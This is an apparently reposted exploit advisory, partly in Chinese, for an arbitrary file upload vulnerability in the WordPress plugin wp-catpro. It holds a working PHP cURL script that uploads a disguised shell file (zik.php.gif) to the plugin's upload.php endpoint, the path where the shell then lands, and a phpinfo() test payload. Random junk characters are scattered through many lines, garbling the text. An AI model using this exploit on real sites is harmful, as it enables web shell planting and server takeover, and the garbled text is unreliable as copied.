WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
: c/ n! j6 N9 Z7 }#-----------------------------------------------------------------------

作者  => Zikou-16
/ j9 z9 p5 z3 p, x9 k" g邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
) f) l9 w) v* {' b. j* K' g+ b下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 _3 c% E& H8 s$ l0 P####

* O: E6 m* d  D4 ]#=> Exploit 信息:
. l) h9 d& j/ M5 \  O# h& Z1 j3 v/ V" [8 n------------------
# y% {( E2 y( ?# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( U# S$ W9 r0 b  h* R------------------
3 j: Y, n) D* z' k: s7 C
#=> Exploit
-----------
! ~8 C5 f9 V. j; S<?php
3 E. D9 w+ `" ^9 E+ W
  K3 t/ B/ N8 \7 \( }. A7 g$uploadfile="zik.php.gif";
+ r5 P& w+ {4 ^  P' T% q$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
; H; A( j* h7 K/ Rarray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
3 d/ D. S9 Y5 y. _. B; L7 z4 r- Ycurl_close($ch);

- z1 a& y! K) x5 f5 O  jprint "$postResult";
0 C; N6 `" B- @% q9 `( S
' B& {2 f- @4 S( {1 i$ P: _" kShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
1 P  N- ]( T# b: x<?php
phpinfo();
6 Q! [) D1 ~5 N4 w( D) f?>